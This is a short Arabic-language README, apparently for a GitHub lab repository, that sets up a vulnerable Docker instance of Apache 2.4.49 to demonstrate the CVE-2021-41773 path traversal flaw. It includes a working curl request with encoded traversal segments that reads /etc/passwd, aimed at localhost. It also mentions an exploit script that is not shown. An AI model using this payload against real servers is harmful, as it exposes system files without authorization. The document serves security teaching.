zubairahm3d/apache-cve-2021-41773-labمختبر Docker معرّض للثغرات واستغلال (exploit) لثغرة اجتياز المسار في Apache HTTP Server 2.4.49 (CVE‑2021‑41773)
git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git
cd apache-cve-2021-41773-lab
chmod +x apache_lab.sh
تشغيل الخادم الضعيف:
./apache_lab.sh # choose option 1
الاستغلال اليدوي:
curl --path-as-is http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
الاستغلال الآلي:
python3 exploit.py
إيقاف الخادم:
./apache_lab.sh # choose option 2
